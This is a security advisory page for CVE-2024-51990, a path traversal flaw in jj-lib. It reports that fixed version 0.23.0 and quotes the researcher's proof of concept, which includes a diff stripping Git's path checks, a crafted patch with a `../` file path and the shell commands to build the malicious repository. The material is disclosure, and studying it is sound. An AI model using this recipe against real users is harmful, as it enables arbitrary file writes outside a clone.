CVE-2024-51990 — Vulnerability in jj-lib — CVE Details

### Impact Specially crafted Git repositories can cause `jj` to write files outside the clone. ### Patches Fixed in 0.23.0. ### Workarounds Not much other than to not clone repositories from untrusted sources. ### References Here's the original report from @joernchen: > When cloning a crafted Git repository it is possible to let `jj` write > into arbitrary directories. This can be achieved by having file objects > which contain path traversals. > > Reproduction steps: > > Apply the following patch to Git version v.2.47.0: > > ```diff > diff --git a/path.c b/path.c > index 93491bab14..2f47e69fd1 100644 > --- a/path.c > +++ b/path.c > @@ -44,11 +44,11 @@ struct strbuf *get_pathname(void) > > static const char *cleanup_path(const char *path) > { > - /* Clean it up */ > + /* Clean it up > if (skip_prefix(path, "./", &path)) { > while (*path == '/') > path++; > - } > + }*/ > return path; > } > > @@ -1101,7 +1101,9 @@ int normalize_path_copy_len(char *dst, const char *src, int *prefix_len) > > int normalize_path_copy(char *dst, const char *src) > { > - return normalize_path_copy_len(dst, src, NULL); > +// return normalize_path_copy_len(dst, src, NULL); > + memcpy(dst, src, strlen(dst)); > + return 0; > } > > int strbuf_normalize_path(struct strbuf *src) > diff --git a/read-cache.c b/read-cache.c > index 3c078afadb..2eb44cb26f 100644 > --- a/read-cache.c > +++ b/read-cache.c > @@ -977,6 +977,7 @@ static enum verify_path_result verify_path_internal(const char *path, > unsigned mode) > { > char c = 0; > + return PATH_OK; > > if (has_dos_drive_prefix(path)) > return PATH_INVALID; > ``` > > With this patched `git` binary we can now apply a crafted > patch containing a path traversal to a repository. > > The patch would look like: > > ```patch > From ecea96264bd3f9785e5ebec8640be4847ba28e22 Mon Sep 17 00:00:00 2001 > From: joernchen <[joernchen@phenoelit.de](mailto:joernchen@phenoelit.de)> > Date: Sun, 13 Oct 2024 18:09:50 +0200 > Subject: [PATCH] z123 > > --- > z | 0 > 1 file changed, 0 insertions(+), 0 deletions(-) > create mode 100644 z > > diff --git a/../joernchen_was_here b/../joernchen_was_here > new file mode 100644 > index 0000000..e69de29 > -- > 2.46.1 > ``` > > Note the traversal `../joernchen_was_here` in the patch. This now can be committed to a repository > using the modified `git` binary: > > ```bash > mkdir demo > cd demo > git init > ./path/to/modified/git/git --exec-path=./path/to/modified/git am the_traversal.patch > rm ../joernchen_was_here # remove the file the modified git wrote > ``` > > Now, when cloning that repository with `jj git clone` the path traversal will write above the worktree > directory, allowing arbitrary file writes. > > I've attached a tar.gz with the demo repo so you don't have to mess with the patched Git at all. For > reproduction it should be sufficient to do `jj git clone demo.git` after unpacking the tarball. > > The demo repository after being cloned with `jj` will create an empty file `joernchen_was_here` right next > to the `demo` directory to demonstrate the traversal.